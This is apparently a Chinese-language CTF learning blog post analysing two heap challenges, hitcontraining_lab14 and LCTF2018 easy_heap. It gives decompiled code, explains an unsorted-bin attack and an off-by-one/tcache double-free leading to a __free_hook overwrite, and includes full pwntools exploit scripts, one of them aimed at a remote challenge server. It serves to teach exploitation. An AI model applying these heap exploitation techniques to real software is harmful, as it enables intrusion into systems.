pwn入门(七)

hitcontraining_lab14

程序分析

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

开了canary和NX保护

1
2
3
4
5
6
7
8
--------------------------------
Magic Heap Creator
--------------------------------
1. Create a Heap
2. Edit a Heap
3. Delete a Heap
4. Exit
--------------------------------

没有show函数….

creat函数:可创建10个堆块,每次从0号开始遍历,atoi会跳过前面的空白把字符串转换成整型数的一个函数;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
 canary = __readfsqword(0x28u);
for ( i = 0; i <= 9; ++i )
{
if ( !heaparray[i] )
{
printf("Size of Heap : ");
read(0, &buf, 8uLL);
size = atoi(&buf);
heaparray[i] = malloc(size);
if ( !heaparray[i] )
{
puts("Allocate Error");
exit(2);
}
printf("Content of heap:", &buf);
read_input(heaparray[i], size);
puts("SuccessFul");
return __readfsqword(0x28u) ^ canary;
}
}
return __readfsqword(0x28u) ^ canary;
}

edit函数:这里可以修改size大小,造成堆溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
canary = __readfsqword(0x28u);
printf("Index :");
read(0, &buf, 4uLL);
v2 = atoi(&buf);
if ( v2 < 0 || v2 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[v2] )
{
printf("Size of Heap : ", &buf);
read(0, &buf, 8uLL);
v0 = atoi(&buf);
printf("Content of heap : ", &buf);
read_input(heaparray[v2], v0);
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ canary;

delete函数没问题

有个后门函数,但是开了canary保护,只能想办法从堆上入手
然后发现主函数存在猫腻~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if ( v3 > 3 )
{
if ( v3 == 4 )
exit(0);
if ( v3 == '\x13\x05' )
{
if ( magic <= '\x13\x05' )
{
puts("So sad !");
}
else
{
puts("Congrt !");
cat_flag();
}}}

漏洞利用

unsorted_bin_into_stack:通过改写 unsorted bin 里 chunk 的 bk 指针到任意地址,从而在bss数据段上 malloc 出 chunk。
这里的0x6020b0 = 0x6020c0-0x10;直接从0x6020b0开始,fd指针刚好落在0x6020c0里面
这里的攻击方式在ctf-all-in-one上说到了,只不过没讲原理,还是有点不明白为什么fd指针会改变

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
#p = remote('47.111.233.219','10000')
p = process('./magicheap')
elf = ELF('magicheap')
libc = elf.libc
def add(size,content):
p.recvuntil('choice :')
p.send('1')
p.recvuntil('Heap : ')
p.send(str(size))
p.recvuntil('heap:')
p.send(str(content))
def edit(idx,size,content):
p.recvuntil('choice :')
p.send('2')
p.recvuntil('Index :')
p.send(str(idx))
p.recvuntil('Heap : ')
p.send(str(size))
p.recvuntil('heap : ')
p.send(str(content))
def delete(idx):
p.recvuntil('choice :')
p.send('3')
p.recvuntil('Index :')
p.send(str(idx))
add(0x10,'a')
add(0x80,'b')
add(0x10,'c')
delete(1)
edit(0,0x30,p64(0)*3+p64(0x91)+p64(0)+p64(0x6020b0))
add(0x80,'a')
gdb.attach(p)

p.interactive()

LCTF2018 PWN easy_heap

程序分析

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

保护全开o(╥﹏╥)o

1
2
3
4
5
6
------------------------
1: malloc.
2: free.
3: puts.
4: exit.
------------------------

三个函数,逐项分析

首先是calloc函数,它会在程序开始的时候开辟一块内存,用来存放chunk的地址和size大小

函数原型:void* calloc(unsigned int num,unsigned int size); 功能:在内存的动态存储区中分配num个长度为size的连续空间,函数返回一个指向分配起始地址的指针;如果分配不成功,返回NULL。

add函数:bss段上存的是chunk的地址和大小信息的地址,也就是list->content->chunk0这样的结构,这个需要具体分析内存才能看见,伪代码看的懵~
我原以为list会指向每一chunk,看内存的时候才发现只指向了起始位置
哦,对了,size不能大于0XF8(248)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
else
{
v2 = list;
*(v2 + 16LL * v4) = malloc(0xF8uLL);
if ( !*(16LL * v4 + list) )
{
puts("malloc error!");
exit_("malloc error!", a2);
}
printf("size \n> ", a2, v4);
v6 = get_num();
if ( v6 > 0xF8 )
exit_("size \n> ", a2);
*(16LL * v5 + list + 8) = v6;
printf("content \n> ");
sub_BEC(*(16LL * v5 + list), *(16LL * v5 + list + 8));
}

free函数:清空了content对应chunk的地址和大小
show函数:使用puts函数

漏洞利用

试验了好多次,发现覆盖prev_size就会报错,猜测是单字节溢出,但是始终找不到,看大佬的wp才知道

1
2
3
4
add(0x10',a')
add(0x10,'b')
delete(0)
add(0xf8,'a'*f8)

当前chunk填充f8个字符时,会溢出一个字节’\x00’

由于存在 tcache ,所以利用过程中需要考虑到 tcache 的存在。

通常来讲在堆程序中出现 null-byte-overflow 漏洞 ,都会考虑构造 overlapping heap chunk ,使得 overlapping chunk 可以多次使用 ,达到信息泄露最终劫持控制流的目的 。

null-byte-overflow 漏洞的利用方法通过溢出覆盖 prev_in_use 字节使得堆块进行合并,然后使用伪造的 prev_size 字段使得合并时造成堆块交叉。但是本题由于输入函数无法输入 NULL 字符,所以无法输入 prev_size 为 0x_00 的值,而堆块分配大小是固定的,所以直接采用 null-byte-overflow 的方法无法进行利用,需要其他方法写入 prev_size 。

在没有办法手动写入 prev_size ,但又必须使用 prev_size 才可以进行利用的情况下,考虑使用系统写入的 prev_size 。

方法为:在 unsorted bin 合并时会写入 prev_size,而该 prev_size 不会被轻易覆盖(除非有新的 prev_size 需要写入),所以可以利用该 prev_size 进行利用。

贴上大佬的exp进行分析
这道题关键点是tcache的使用,暂时先搁浅~

流程:
1.将 A -> B -> C 三块 unsorted bin chunk 依次进行释放
2.A 和 B 合并,此时 C 前的 prev_size 写入为 0x200
3.A 、 B 、 C 合并,步骤 2 中写入的 0x200 依然保持
4.利用 unsorted bin 切分,分配出 A
5.利用 unsorted bin 切分,分配出 B,注意此时不要覆盖到之前的 0x200
6.将 A 再次释放为 unsorted bin 的堆块,使得 fd 和 bk 为有效链表指针
7.此时 C 前的 prev_size 依然为 0x200(未使用到的值),A B C 的情况: A (free) -> B (allocated) -> C (free),如果使得 B 进行溢出,则可以将已分配的 B 块包含在合并后的释放状态 unsorted bin 块中。
8.tips: 但是在这个过程中需要注意 tcache 的影响。

强行更改libc路径失败~改天装个ubuntu18吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
# coding=utf-8
from pwn import *
io = remote('47.111.233.219',20000)
#io = process('./easy_heap')
libc = ELF('libc64.so')
context.log_level = 'debug'

def choice(idx):
io.sendlineafter("> ", str(idx))

def malloc(size, content):
choice(1)
io.sendlineafter("> ", str(size))
io.sendlineafter("> ", content)

def free(idx):
choice(2)
io.sendlineafter("> ", str(idx))

def puts(idx):
choice(3)
io.sendlineafter("> ", str(idx))

def exit():
choice(4)

#功能性测试
def test():
malloc(0x20, 'a'*0x20)
puts(0)
free(0)
exit()

def exp():
for i in range(7):
malloc(0x10, str(i)*0x7)
for i in range(3):
malloc(0x10, str(i+7)*0x7)
for i in range(6):
free(i)
free(9) #tcache for avoid top chunk consolidate
for i in range(6, 9):
free(i)
# now the heap
# tcache-0
# tcache-1
# tcache-2
# tcache-3
# tcache-4
# tcache-5
# unsorted - 6
# unsorted - 7
# unsorted - 8
# tcache-9

for i in range(7):
malloc(0x10, str(i)*0x7)
for i in range(3):
malloc(0x10, str(i+7)*0x7)

# now the heap
# chunk-6
# chunk-5
# chunk-4
# chunk-3
# chunk-2
# chunk-1
# chunk - 7
# chunk - 8
# chunk - 9
# chunk-0

for i in range(6):
free(i)
free(8)
free(7)
# now chunk -9's pre_size is 0x200
malloc(0xf8, str(8)*0x7) #off-by-one change chunk9's insue
free(6) # free into tcache, so we can use unsortbin consolidate
free(9) # unsortbin consolidate

# now the heap
# chunk-6 tcache
# chunk-5 tcache
# chunk-4 tcache
# chunk-3 tcache
# chunk-2 tcache
# chunk-1 tcache
# chunk - 7 unsorted 7-9 consolidate, and 8 in the big free_chunk
# chunk - 8 use this is the overlap
# chunk - 9 unsorted
# chunk-0 tcache
for i in range(7):
malloc(0x10, str(i+1)*0x7)
malloc(0x10, str(0x8))

# now the heap
# chunk-1
# chunk-2
# chunk-3
# chunk-4
# chunk-5
# chunk-6
# chunk-8
# chunk-0
#
# chunk-7

puts(0)
libc_leak = u64(io.recvline().strip().ljust(8, '\x00'))
io.success("libc_leak: 0x%x" % libc_leak)
libc_base = libc_leak - 0x3ebca0
malloc(0x10, str(0x9))

# now the heap
# chunk-1
# chunk-2
# chunk-3
# chunk-4
# chunk-5
# chunk-6
# chunk-8
# chunk-0 chunk-9
#
# chunk-7
free(1) #bypass the tcache count check
free(0)
free(9) #double free

free_hook = libc_base + libc.symbols['__free_hook']
one_gadget = libc_base + 0x4f2c5
one_gadget = libc_base + 0x4f322# 0x10a38c
malloc(0x10, p64(free_hook))
malloc(0x10, '/bin/sh;#')
malloc(0x10, p64(one_gadget))
io.success("free_hook: 0x%x" % free_hook)
#gdb.attach(io)
free(0)



if __name__ == '__main__':
exp()
io.interactive()